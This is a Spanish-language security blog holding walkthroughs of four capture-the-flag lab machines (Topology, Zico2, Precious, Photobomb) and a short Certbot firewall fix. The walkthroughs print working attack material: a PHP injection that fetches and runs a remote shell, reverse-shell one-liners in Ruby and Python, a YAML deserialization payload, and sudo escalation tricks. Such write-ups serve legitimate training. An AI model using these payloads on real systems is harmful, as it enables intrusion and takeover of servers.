domingo, 22 de octubre de 2023

HTB Topology

 

Topology es una máquina con sistema operativo linux. Asi que se comienzo mirando a que redirigia la ip.

 

Parecia ser un blog academico en el que aparecio un enlace llamativo pero no puedo acceder hasta hacer una opercaion antes. En el archivo /etc/hosts se debe agregar el dominio que necesita la url para funcionar en este caso es:

10.10.11.217    latex.topology.htb

Pero antes de continuar lance un nmap para descubrir los puertos arbiertos,

nmap -p- 10.10.11.217 -sV

Al terminar el escaneo descubrio 2 puertos abiertos, el puerto 22 y 80. Paralelamente se lanzo un ffuf a este dominio, para encontrar a si un subdominio inaccesible llamado "dev". Continuado con la url que se encontro regirio a lo siguiente.

 

 Que es una herramienta que a travez de un imput puede generar  imagenes a partir de texto.


Este generador tiene una vulnerabilidad que permite ejecutar codigo dentro del servidor. 

$\lstinputlisting{/etc/passwd}$

Ahora con este comando se puede abrir un archivo en la ruta /etc/passwd.

 

 

 Dentro del subdominio que no se puede accesder hay un archivo .htpasswd donde esta almacenado unas credenciales.

$\lstinputlisting{/var/www/dev/.htpasswd}$

 

Con la herramienta hashidentifier se obtubo que estaba cifrada con el algoritmo md5

Ahora inicio el proceso de crackealo con johntheripper

 john --wordlist=/home/mrx/aplicaciones/rockyou.txt hash

calculus20       (vdaisley) 


ahora teniendo el usuario se prueba ingresando al sistema a traves de ssh 

ssh vdaisley@topology.htb


Una vez adentro solo es cuestion de navegar para encontrar la primer flag de usuario.

f8**************************aa


Ahora se creara un servidor http donde se subira un monitor de procesos de linux llamado pspy86, donde una vez descargado y dado los premisos necesarios, ayudara a identificar unos procesos entre ellos gnuplot y utiliza plt.


Una vez descubierto esto solo hay que crear un archivo que permita tener permisos en bash con suid.


domingo, 7 de mayo de 2023

CTF Zico2: 1 VM

 

Esta máquina tiene algunas peculiaridades no tan comunes actualmente, pero primero se lanza nmap para el escaneo de puertos.

$ sudo nmap -sV -Pn -A -O -oN zico2 192.168.2.32   
[sudo] contraseña para aka-linux:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-07 14:15 -05
Nmap scan report for 192.168.2.32
Host is up (0.00059s latency).
Not shown: 997 closed tcp ports (reset)
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 6860dec22bc616d85b88bee3cca12575 (DSA)
|   2048 50db75ba112f43c9ab14406d7fa1eee3 (RSA)
|_  256 115d55298a77d808b4009ba36193fee5 (ECDSA)
80/tcp  open  http    Apache httpd 2.2.22 ((Ubuntu))
|_http-title: Zico's Shop
|_http-server-header: Apache/2.2.22 (Ubuntu)
111/tcp open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          33913/udp   status
|   100024  1          39647/tcp   status
|   100024  1          43296/udp6  status
|_  100024  1          43805/tcp6  status
MAC Address: **:**:**:**:**:** (***)
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.5
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

 

Como se puede observar, solo hay 3 puertos, el 22, el 80 y el 111. Ahora se revisa el contenido que está dentro del puerto 80.


 Se inspecciona el código fuente y se encuentra este fallo, una vulnerabilidad de path traversal.


Se puede aprovechar pasándole como parámetro en el navegador "../" hasta que se encuentra una ruta, un archivo conocido (passwd). Analizando este archivo se revela que solo existen 2 usuarios root y zico.


Ahora con se escanea los directorios disponibles con gobuster
$ gobuster dir -u http://192.168.2.32:80/ -e -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt       
===============================================================
Gobuster
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
http://192.168.2.32:80/img                  (Status: 301) [Size: 310] [--> http://192.168.2.32/img/]
http://192.168.2.32:80/tools                (Status: 200) [Size: 8355]
http://192.168.2.32:80/view                 (Status: 200) [Size: 0]
http://192.168.2.32:80/css                  (Status: 301) [Size: 310] [--> http://192.168.2.32/css/]
http://192.168.2.32:80/index                (Status: 200) [Size: 7970]
http://192.168.2.32:80/js                   (Status: 301) [Size: 309] [--> http://192.168.2.32/js/]
http://192.168.2.32:80/vendor               (Status: 301) [Size: 313] [--> http://192.168.2.32/vendor/]
http://192.168.2.32:80/package              (Status: 200) [Size: 789]
http://192.168.2.32:80/LICENSE              (Status: 200) [Size: 1094]
http://192.168.2.32:80/less                 (Status: 301) [Size: 311] [--> http://192.168.2.32/less/]
http://192.168.2.32:80/server-status        (Status: 403) [Size: 293]
http://192.168.2.32:80/dbadmin              (Status: 301) [Size: 314] [--> http://192.168.2.32/dbadmin/]

Después se comprueban las rutas que se encontraron. En una de las rutas se localiza esta ruta muy interesante.


Era un panel de acceso a una base de datos, asi que se intenta con las contraseñas más comunes.


Se busca un exploit y se encuentra que permita obtener un remote infección de código. 


Se crea una base de datos con extensión .php, luego una tabla con 1 fila, ahora se ingresa una infección de código php en el campo y en valor por defecto (<?php phpinfo()?>). Como la DB muestra cuál es la ruta donde está almacenado, solo es buscarlo con en el navegador. En este caso mostrará la información de php del servidor. 


Para aprovechar la vulnerabilidad se inyecta en la tabla de la DB, un código que llamara a un servidor local para que descargue un revershell y guardarlo en la carpeta tmp.
<?php system("wget http://192.168.2.5:8000/shell.php -O /tmp/shell.php;php /tmp/shell.php");?>


Se configura la revershell con la IP y el puerto por el que va a escuchar la comunicación y se guarda como se escribió en la tabla de la DB.
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.2.5';
$port = 4567;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
...


Después se habilita la escucha por el puerto establecido.
nc -lvnp 4567

 

Luego se crea el servicio que dará cuando sea llamado la shell y para finalizar se busca en el navegador la ruta de la DB.
python3 -m http.server

 

Vualá ya se tiene una shell al servidor. Para hacerlo mas comodo la navegacion se utiliza una pseudo-terminal.
python -c "import pty; pty.spawn('/bin/bash')"


Ahora se busca al usuario zico en la carpeta home, y se encuentran unas carenciales en dentro de las configuraciones de un crm.


Ahora se intenta iniciar sesión a través del servicio SSH con esas credenciales, una vez con acceso se comprueba que permisos tiene permitido hacer el usuario con SUDO.


Ahora se verifica que se puede bypasear a un usuario con mayores privilegios.

sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh


Ahora, con privilegios mayores, se busca el flag en el directorio de root.


Muchas gracias a @rafasantos5 que nos brindó esta VM. Hasta la próxima.

Vulnhub:Zico2: 1

domingo, 26 de marzo de 2023

HTB Precious

 


Precios es una máquina con sistema operativo linux. Asi que se comienza a escanear los puertos.

$ sudo nmap -sV -Pn -A -O -oN precious 10.10.11.189
Starting Nmap
Nmap scan report for 10.10.11.189
Host is up (0.29s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 845e13a8e31e20661d235550f63047d2 (RSA)
|   256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
|_  256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://precious.htb/

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Ahora se agrega precious.htb con la IP al archivo /etc/hosts.

Luego yendo http://precious.htb/, desde el navegador se encuentra con esto.

 

Es un convertidor de páginas a PDF, al revisar el código fuente, algún parámetro extraño en la petición u otras rutas no se encontró nada. Asi con el buen burp suit, en modo interceptor para averiguar algo, pero fue infructuoso. Después se puso a correr un servicio web con Python y pasarla a la aplicación.

$ python3 -m http.server 80 

 

 

Al ingresarla, lista los archivos que esten igual o por debajo de la gerarquia de archivos donde se genero el servicio web.

 

Se descarga el archivo y se comprobo el tipo de archivo y con exiftool para  examinar las propiedades del archivo descargado.
$ exiftool {name}.pdf
...
File Permissions                : -rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.4
Linearized                      : No
Page Count                      : 1
Creator                         : Generated by pdfkit v0.8.6

 

Se busca una vulnerabilidad para pdfkit, por suerte se encontró una vulnerabilidad de command injection, asi que se explota esa vulnerabilidad.


 

Al verificar que se puede inyectar código dentro de la petición, se envía una reverse shell y paralelamente se abre un puerto de escucha en una terminal.


$ nc -lvnp 4567                                
listening on [any] 4567 ...

http://10.10.16.11:80/?name=%20`ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.16.11",4567))'`

Seguido identificar el id, se explora algunos directorios.
id
uid=1001(ruby) gid=1001(ruby) groups=1001(ruby)
ls -la
total 36
drwxr-xr-x 6 root root 4096 Oct 26 08:28 .
drwxr-xr-x 4 root root 4096 Oct 26 08:28 ..
drwxr-xr-x 4 root ruby 4096 Oct 26 08:28 app
drwxr-xr-x 2 root ruby 4096 Oct 26 08:28 config
-rw-r--r-- 1 root ruby   59 Sep 10 09:46 config.ru
-rw-r--r-- 1 root ruby   99 Sep 17 14:17 Gemfile
-rw-r--r-- 1 root ruby  478 Sep 26 05:04 Gemfile.lock
drwxrwxr-x 2 root ruby 4096 Feb 25 15:52 pdf
drwxr-xr-x 4 root ruby 4096 Oct 26 08:28 public
ls config
environment.rb
cat config/environment.rb
require 'bundler/setup'

APP_ENV = ENV["RACK_ENV"] || "development"

Bundler.require :default, APP_ENV.to_sym

require 'rubygems'
require 'bundler'

require_rel '../app'
cd /home
ls
henry
ruby

 

Al llegar a este punto se encontró el flag de usuario, pero no se tiene permiso porque le pertenece a otro usuario.
ls -la
total 28
drwxr-xr-x 4 ruby ruby 4096 Feb 25 15:47 .
drwxr-xr-x 4 root root 4096 Oct 26 08:28 ..
lrwxrwxrwx 1 root root    9 Oct 26 07:53 .bash_history -> /dev/null
-rw-r--r-- 1 ruby ruby  220 Mar 27  2022 .bash_logout
-rw-r--r-- 1 ruby ruby 3526 Mar 27  2022 .bashrc
dr-xr-xr-x 2 root ruby 4096 Oct 26 08:28 .bundle
drwxr-xr-x 3 ruby ruby 4096 Feb 25 15:47 .cache
-rw-r--r-- 1 ruby ruby  807 Mar 27  2022 .profile

cd .bundle
ls
config
ls -la
total 12
dr-xr-xr-x 2 root ruby 4096 Oct 26 08:28 .
drwxr-xr-x 4 ruby ruby 4096 Feb 25 15:47 ..
-r-xr-xr-x 1 root ruby   62 Sep 26 05:04 config
cat config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:***************YFH"

 

Después de esto se puede pivotar a la cuenta de henry con el comando "su henry " y su respectiva contraseña, entonces ya se podrá obtener el flag de usuario. Ahora se verifica si este usuario tiene algún permiso con permiso root.

sudo -l
Matching Defaults entries for henry on precious:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb


cat /opt/update_dependencies.rb
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end

 

Al ver este script se puede vislumbrar un método YAML.load()  es vulnerable a Blind Remote Code Execution through YAML Deserialization. Se reescribe el archivo dependencies.yml que se encuentra en el homespace de henry, para probar que funciona con lo siguiente y posteriormente a ejecutar el programa con "sudo /usr/bin/ruby /opt/update_dependencies.rb".
---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: id
         method_id: :resolve


Ahora es ya comprobado que funciona, es hora de modificarlo un poco, en la sección  "git_set: id", se cambiara por "git_set: chmod u+s /bin/bash", cambiando los permisos a bash. Para finalizar solo es ejecutar el comando "bash -p", verificar los permisos de root y conseguir el flag de root.

sábado, 11 de febrero de 2023

HTB Photobomb


 

Primero se hace le escaneo de puertos.
$ sudo nmap -sV -Pn -A -O -oN photobomb 10.10.11.182
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-20 13:09 -05
Nmap scan report for 10.10.11.182
Host is up (0.37s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 e22473bbfbdf5cb520b66876748ab58d (RSA)
|   256 04e3ac6e184e1b7effac4fe39dd21bae (ECDSA)
|_  256 20e05d8cba71f08c3a1819f24011d29e (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://photobomb.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)

 

En este caso se añadira  photobomb.htb a hosts
vi /etc/hosts
ip    photobomb.htb

 

Ahora llendo a  photobomb.htb en el navegador se encuentra esto.


Ahora se escanea los directorios
$ gobuster dir -u http://photobomb.htb/ -e -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt ===============================================================
http://photobomb.htb/printer              (Status: 401) [Size: 188]
http://photobomb.htb/printers             (Status: 401) [Size: 188]
http://photobomb.htb/printerfriendly      (Status: 401) [Size: 188]
http://photobomb.htb/printer_friendly     (Status: 401) [Size: 188]
http://photobomb.htb/printer_icon         (Status: 401) [Size: 188]
http://photobomb.htb/printer-icon         (Status: 401) [Size: 188]
http://photobomb.htb/printer-friendly     (Status: 401) [Size: 188]
http://photobomb.htb/printerFriendly      (Status: 401) [Size: 188]

Sin embargo, no se encontro otra ruta. Volviendo a la pagina principal al buscar en el codigo fuente.

Luego dirigirse al sitio donde esta el script.


Al usar el usuario y la contraeña que tenia el script en /printer, se llega a este sitio.

Con la ayuda del buen burpsuit, se intersepto las peticiones para saber detalles de como procesa los parametros de descarga de las imagenes.


En los parametros, se modifico ingresando e ingreso uno extra esperando que hubiera alguna reaccion.
photo=mark-mc-neill-4xWHIpY2QcY-unsplash.jpg&filetype=jpg;{HERE}&dimensions=3000x2000

Por ello se intenta que haga una peticion a local, creando un servidor http con python.
$ sudo python3 -m http.server 80

Se hace una llamada al servidor recien creado y hay respues, asi que es hora de pasar una revershell como parametro, pero antes tener un puerto escuchando.

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.48",4567));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")
 

Ahora se tiene acceso al servidor.

$ nc -lvnp 4567                                                                                      
listening on [any] 4567 ...
connect to [10.10.16.48] from (UNKNOWN) [10.10.11.182] 40402
$ id
id
uid=1000(wizard) gid=1000(wizard) groups=1000(wizard)

Encontrar la primer flag es solo regresar un nivel en los archivos.

$ cd ..
cd ..
$ ls
ls
photobomb  user.txt
$ cat user.txt  
cat user.txt
********************************

Lo siguiente es en contrar una forma de escalar privilegios.
$ sudo -l
sudo -l
Matching Defaults entries for wizard on photobomb:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User wizard may run the following commands on photobomb:
    (root) SETENV: NOPASSWD: /opt/cleanup.sh


Se puede ver que ese archivo esta corriendo con permisos de root, al inspeccionarlo, se encuntra esto.
cat /opt/cleanup.sh
#!/bin/bash
. /opt/.bashrc
cd /home/wizard/photobomb

# clean up log files
if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
then
  /bin/cat log/photobomb.log > log/photobomb.log.old
  /usr/bin/truncate -s0 log/photobomb.log
fi

# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;

Ahora aprovechando la vulnerabilidad de este programa que esta corriendo con permisos root, se va a pasar una shell que sustituira el programa find, y a su vez, dar una consola con este permiso.
$ id
id
uid=1000(wizard) gid=1000(wizard) groups=1000(wizard)
$ echo bash > find
echo bash > find
$ chmod +x find
chmod +x find
$ sudo PATH=$PWD:$PATH /opt/cleanup.sh
sudo PATH=$PWD:$PATH /opt/cleanup.sh
root@photobomb:/home/wizard/photobomb# id
id                                                                                                                                                                   
uid=0(root) gid=0(root) groups=0(root)
root@photobomb:/home/wizard/photobomb# cat /root/root.txt
cat /root/root.txt
*******************************



domingo, 25 de diciembre de 2022

Nginx - Certbot: Solucionando problema de actualizacion de certificado let's encript

 

Hace unos años por esta misma tenía un par de servicios que tenía levantados, hacía ya un tiempo, pero ya me enfrentaba a un nuevo reto que era actualizar los certificados TLS.
 

 Después de encontrarme en serios problemas por no poder solucionarlo, llegue a la conclusión de que era problemas de filtrado en el firewall. La solución es darle acceso temporal al bot de let's encrypt para hacer la renovación y luego cerrarlo.


 Lo primero hay que hacer los cambios en la configuración de perfil para el firewall / ufw en mi caso habilitar el puerto 80 y 443


[letsencrypt]
title=access to the world for Let's Encrypt
description=access to the world for Let's Encrypt
ports=80/tcp|443/tcp


Los perfiles de ufw suele encontrarse en la ruta /etc/ufw/applications.d/ y para habilitarlo con el comando:

ufw allow letsencrypt


Para probarlo, let's encript tiene un mecanismo de prueba, que permite simular la renovación de los certificados.

certbot renewal --dry-run
 

Después de generar la prueba y/o generar el certificado no hay que olvidar, desactivar y en su defecto la regla que se creó. Adicionalmente, se puede crear un script de bash o directamente con crobjob para actualizar los certificados cada X periodo de tiempo